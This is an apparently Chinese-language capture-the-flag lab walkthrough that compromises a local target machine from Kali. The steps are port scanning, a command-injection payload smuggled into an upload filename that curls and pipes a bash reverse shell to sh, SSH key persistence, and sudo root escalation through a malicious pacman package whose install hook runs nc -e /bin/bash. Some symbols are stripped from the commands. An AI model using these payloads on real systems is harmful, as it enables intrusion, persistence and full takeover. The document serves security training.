kali攻击机地址192.168.31.188靶场地址192.168.31.155一、端口扫描在kali里使用nmap工具nmap-sV-v-T4-A192.168.31.155靶场开放了22和500端口。二、文件上传中命令执行漏洞利用访问5000端口发现网页提示可以上传文件格式是txt的。用brup抓包修改文件后缀为phtml看能否绕过结果提示文件名非法尝试 空格绕过命令执行成功说明存在注入点。先在kali的/var/www/html目录下创建一个index.html文件里面输入bash-cbash -i /dev/tcp/192.168.31.188/1234 01部分作用bash -c ...用新的 bash 进程执行引号内的命令bash -i启动一个交互式的 bash shell /dev/tcp/192.168.31.188/1234把标准输出和标准错误重定向到攻击机的192.168.31.188:1234端口01把标准输入也重定向到同一个连接实现双向交互然后在kali里开启http服务python3-mhttp.server80同时新建一个窗口监听1234端口nc-lp1234接着在brup里修改命令为Content-Disposition:form-data;namefile;filename$(curl 192.168.31.188|sh)1.txt$()是 Linux Shell 里的命令替换语法它的作用是先执行括号里的命令再把输出结果替换回原位置。当目标服务器执行$(curl 192.168.31.188|sh)1.txt时Shell 会这样做识别到$()先执行里面的curl 192.168.31.188。curl会访问你 Kali 机器上的index.html下载里面的内容也就是你写的反弹 shell 命令bash -c bash -i /dev/tcp/192.168.31.188/1234 01。管道符|sh会把curl下载到的内容交给sh执行。目标服务器执行了你的反弹 shell 命令主动连接你的 Kalinc -lp 1234就收到了连接你拿到了交互式 shell。此时攻击机里成功进入bash交互界面完整攻击链流程三、靶场拷贝自己公钥实现权限维持在kali攻击机里生成一个密码为123的公钥cd~/.ssh ssh-keygen-trsa-b4096-N123-f~/.ssh/id_rsa查看一下id_rsa.pub的数据复制一下。回到靶场里粘贴刚才的数据到welcome/.ssh目录下追加到authorized_keys里服务器就会信任你的私钥然后远程连接成功四、 sudo提权利用pacman模块sudo -l查看可执行权限mkdirtmpcdtmpvi.PKGINFO输入命令如下pkgnameexploit-pkg pkgver1.0-1 pkgdesc安全更新包urlhttp://example.com builddate$(date%s)packagerUnknown size0archany licensecustom groupbase-develvi.INSTALL输入post_install(){nc-e/bin/bash192.168.31.1881234}在kali中设置监听nc-lp1234继续回到靶场给文件提权chmodx .INSTALL bsdtar-cf- .PKGINFO .INSTALL|zstd-z-oexploit-pkg.pkg.tar.zstls-al部分作用bsdtar -cf - .PKGINFO .INSTALL把.PKGINFO和.INSTALL两个文件打包成标准 tar 包输出到标准输出-zstd -z -o exploit-pkg.pkg.tar.zst用管道符把 tar 包传给zstd压缩生成最终的 Arch 包文件exploit-pkg.pkg.tar.zst输入sudopacman-U--noconfirmexploit-pkg.pkg.tar.zst部分含义作用pacmanArch Linux 的包管理器负责安装、升级、卸载系统软件-U--upgrade参数安装本地的.pkg.tar.zst格式软件包--noconfirm跳过所有确认提示安装过程中自动回答所有问题不需要用户交互exploit-pkg.pkg.tar.zst你的恶意包文件名就是我们之前用bsdtar打包出来的后门包